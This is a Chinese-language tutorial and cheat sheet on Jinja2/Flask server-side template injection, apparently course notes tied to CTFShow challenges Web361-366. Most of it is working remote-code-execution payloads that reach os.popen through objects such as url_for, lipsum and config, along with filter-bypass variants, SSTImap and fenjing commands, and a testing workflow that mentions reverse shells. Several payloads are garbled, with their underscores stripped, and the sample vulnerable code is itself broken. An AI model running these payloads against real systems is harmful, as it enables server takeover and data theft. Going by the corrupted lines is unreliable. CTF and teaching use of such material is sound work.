前记
本节课为Python安全入门第一讲,核心讲解SSTI服务端模板注入,是Web渗透与CTF的高频考点,也是企业安全服务中常见的漏洞类型。
课程围绕Jinja2(Flask框架) 展开,覆盖:SSTI原理、魔术方法利用、过滤绕过、CTF实战、自动化工具,全程以实战利用为核心,要求掌握:
- 理解SSTI漏洞成因
- 熟记Jinja2基础利用链
- 掌握常见过滤的绕过思路
- 会用自动化工具快速利用
一、SSTI 模板注入 基础原理
1. 什么是SSTI
SSTI(Server-Side Template Injection)服务端模板注入
- 服务端接收用户可控输入,将输入内容直接拼接到网页模板中
- 模板引擎解析执行拼接后的恶意代码
- 最终导致:任意代码执行(RCE)、服务器拿Shell、敏感文件读取、信息泄露
核心漏洞成因
模板引擎本身无漏洞,漏洞源于开发者不安全的代码写法:
将用户可控参数直接字符串拼接进模板,再调用渲染函数执行。
2. 各语言常见模板引擎
- PHP:smarty、twig、blade
- Python:Jinja2(Flask)、mako、tornado、Django
- Java:Thymeleaf、FreeMarker、Velocity
- 本课重点:Python + Jinja2
3. 漏洞触发代码(Flask)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
# 用户可控参数 name
name = request.args.get('name')
# 危险写法:直接字符串拼接
template = '''<h1>Hello {{name}}</h1>''' % name
# 渲染执行恶意代码
return render_template_string(template)
app.run()
- 正常输入:name=test → 输出 Hello test
- 恶意输入:name={{2*3}} → 输出 6(执行表达式,确认SSTI)
- 攻击输入:name={{恶意利用链}} → 执行系统命令
二、Python(Jinja2) SSTI 核心利用
1. 必知魔术方法 & 内置对象(讲解+作用)
SSTI利用的核心:从普通对象 → 向上追溯到根类 → 向下找到危险模块 → 执行命令
| 魔术方法/对象 | 核心作用 |
|---|---|
| __class__ | 获取对象的类(如 ''.__class__ → str类) |
| __base__ | 获取类的直接父类(最终追溯到object根类) |
| __subclasses__() | 获取根类的所有子类列表 |
| __init__ | 初始化类,获取构造方法 |
| __globals__ | 获取方法的全局命名空间,可拿到os、sys等模块 |
| __builtins__ | 内建函数集合(eval、open、popen) |
| request | Flask请求对象,可传参绕过过滤 |
| config | Flask配置对象,快速拿os模块 |
| url_for | Flask路由函数,内置全局空间 |
| lipsum | Flask文本生成函数,可直接调用os |
2. 基础利用链(最经典,必须掌握)
利用逻辑
空对象 → 取类 → 取父类(object)→ 取所有子类 → 定位os模块 → 执行命令
完整Payload
# 1. 列出所有子类,查找os._wrap_close的索引
{{''.__class__.__base__.__subclasses__()}}
# 2. 通过索引调用os模块执行命令
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('whoami').read()}}
- '':空字符串对象(也可用[]、{})
-
132\]:os._wrap_close子类的索引(环境不同索引不同)
- read():读取命令执行结果
3. 简化利用链(无索引,实战首选)
不用找子类索引,直接通过Flask内置对象调用os模块,更快、更稳定、绕过更多过滤
# 1. config 利用链
{{config.__class__.__init__.__globals__['os'].popen('calc').read()}}
# 2. url_for 利用链
{{url_for.__globals__['os'].popen('calc').read()}}
# 3. lipsum 利用链
{{lipsum.__globals__['os'].popen('calc').read()}}
# 4. get_flashed_messages 利用链
{{get_flashed_messages.__globals__['os'].popen('calc').read()}}
三、SSTI 过滤绕过实战(CTFShow Web361-366)
逐题讲解:过滤规则 → 绕过思路 → 最终Payload
Web361 无过滤
-
规则:无任何过滤
-
思路:直接使用基础利用链
-
Payload:
{{''.class.base.subclasses()[132].init.globals.popen('tac /flag').read()}}
Web362 过滤数字
-
规则:过滤数字(2、3)
-
思路:弃用带索引的利用链,改用无数字简化链
-
Payload:
{{config.class.init.globals['os'].popen('cat /flag').read()}}
Web363 过滤单双引号
-
规则:禁止使用 ' 或 "
-
思路:用request.args传参,将命令/模块名通过GET参数传入,绕过引号
-
Payload:
{{[].class.base.subclasses()[132].init.globalsrequest.args.x.read()}}&x=popen&y=cat /flag
-
request.args.x:GET传参获取模块名
-
request.args.y:GET传参获取执行命令
Web364 过滤单双引号+args
-
规则:禁用args关键字
-
思路:替换request.args → request.values(兼容GET/POST传参)
-
Payload:
{{[].class.base.subclasses()[132].init.globalsrequest.values.x.read()}}&x=popen&y=cat /flag
Web365 过滤单双引号+中括号+args
-
规则:禁用[]、args、引号
-
思路:使用无中括号的url_for利用链 + request.values传参
-
Payload:
{{url_for.globals.os.popen(request.values.x).read()}}&x=cat /flag
Web366 过滤单双引号+中括号+下划线+args
-
规则:禁用_(下划线)、[]、引号、args
-
思路:用|attr()过滤器动态获取属性,绕过下划线过滤
-
Payload:
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=globals&b=cat /flag
-
|attr(参数):等价于 .属性,绕过__globals__的下划线限制
四、SSTI 绕过总结(黑盒实战通用)
| 过滤类型 | 绕过方法 | 推荐Payload |
|---|---|---|
| 过滤数字 | 用内置对象链(无索引) | {{url_for.globals['os'].popen('id').read()}} |
| 过滤单双引号 | request传参 | {{[].class.base.subclasses()[132].init.globals[request.args.x](request.args.y).read()}} |
| 过滤中括号 | 无中括号简化链 | {{lipsum.globals['os'].popen('id').read()}} |
| 过滤下划线 | attr()过滤器 | |
| 过滤args | 换request.values/cookies | request.values.x / request.cookies.x |
| 过滤os/popen | 字符拼接、import | {{import('o'+'s').popen('id').read()}} |
五、SSTI 自动化利用工具(实战/CTF必备)
1. SSTImap
-
支持:多模板引擎(Jinja2、Smarty、Twig等)
-
特点:自定义Payload、自动检测、命令执行
-
使用命令:
python3 sstimap.py -u "http://xxx/?name=1"
2. fenjing(净网大师)
-
专为Jinja2/Flask设计,CTF神器
-
特点:自动绕过过滤、一键拿flag
-
使用命令:
python3 fenjing.py -u "http://xxx/?name=1"
3. 靶场推荐
websitesVulnerableToSSTI:集合各类SSTI漏洞环境,用于练习
六、SSTI 黑盒测试流程(企业实战)
- 判断是否存在SSTI
输入测试 payload:{{2*3}},回显6则存在漏洞 - 判断模板引擎
按不同引擎语法测试,确认是Jinja2/PHP/Java模板 - 测试过滤规则
依次测试:{{1}}、{{""}}、{{[]}}、{{__}},确认禁用字符 - 构造Payload / 调用工具
根据过滤规则,选择对应绕过Payload,或用fenjing/SSTImap自动化利用 - 执行命令/读取文件
读取flag、查看系统信息、反弹Shell(出网环境)
七、本课核心重点(实习/面试必背)
-
SSTI成因:用户可控参数直接拼接模板,模板引擎执行恶意代码
-
Jinja2核心:{{}}表达式执行,魔术方法追溯os模块
-
最简利用链:{{url_for.globals['os'].popen('id').read()}}
-
核心绕过:
- 过滤引号 → request传参
- 过滤下划线 → |attr()
- 过滤数字 → 无索引内置对象链
过滤时各种情况的技巧
一、第一步:怎么快速判断「过滤了什么」?
你只需要在参数里输入下面这些测试语句,看哪个不回显、报错、403、空、被替换,就知道过滤了什么。
{{2}} → 测试 数字
{{__}} → 测试 下划线 __
{{[]}} → 测试 中括号
{{""}} → 测试 双引号
{{''}} → 测试 单引号
{{.}} → 测试 点 .
{{args}} → 测试 args关键字
{{class}} → 测试 class关键字
只要不回显原样 = 被过滤
你只要知道过滤了哪一类,直接套下面的 Payload 公式。
二、SSTI 万能 Payload 分类手册(背会这一页就够)
1)无任何过滤 → 直接用最简链
{{url_for.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['os'].popen('cat /flag').read()}}
2)过滤 数字(不能用 0-9)
不能用 [132] 这种索引,必须用无数字 Payload
{{url_for.__globals__['os'].popen('cat /flag').read()}}
{{lipsum.__globals__['os'].popen('cat /flag').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
3)过滤 单/双引号 ' "
不能写 'os',必须用 request传参 绕过
{{url_for.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
或
{{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
4)过滤 args
把 request.args 换成
request.values / request.cookies
{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
5)过滤 中括号 [ ]
不能用 ['os'],直接用 .os
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag
{{lipsum.__globals__.os.popen(request.values.x).read()}}&x=cat /flag
6)过滤 下划线 __
最难题型:过滤 class __globals__ 里的 __
必须用 |attr( ) 过滤器绕过
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}
&a=__globals__&b=cat /flag
7)过滤 下划线 + 中括号 + 引号 + args
最强绕过(小迪课程 Web366 最终题型)
{{((lipsum|attr(request.values.a)).os.popen(request.values.b)).read()}}
&a=__globals__&b=cat /flag
三、不同括号用法:什么时候用 () [] {} . |
我给你讲最直白、最实战的用法,不用记原理。
1)小括号 ()
执行方法、调用函数
popen('id')
read()
subclasses()
2)中括号 []
取字典key、取列表索引
['os']
[132]
3)点 .
调用属性、调用模块
.__globals__
.os
.popen
4)竖线过滤器 |attr()
专门用来 绕过下划线 __
|attr(__globals__)
四、终极万能对应表(你实战直接查表)
过滤情况 → 直接套用的 Payload
1. 过滤数字
{{url_for.__globals__['os'].popen('cat /flag').read()}}
2. 过滤引号
{{url_for.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
3. 过滤 args
{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
4. 过滤中括号 []
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat /flag
5. 过滤下划线 __
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
6. 过滤超级多(下划线+中括号+引号)
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
五、我再给你 3 条「万能最终Payload」
不管过滤多严,95% 题目都能打
万能1(无数字、无中括号、最简单)
{{url_for.__globals__.os.popen('cat /flag').read()}}
万能2(无引号、无数字)
{{url_for.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
万能3(无下划线、无中括号、最强绕过)
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
六、你只要记住一句话
过滤数字 → 不用索引
过滤引号 → 用 request
过滤中括号 → 用 . 调用
过滤下划线 → 用 |attr
过滤 args → 换 values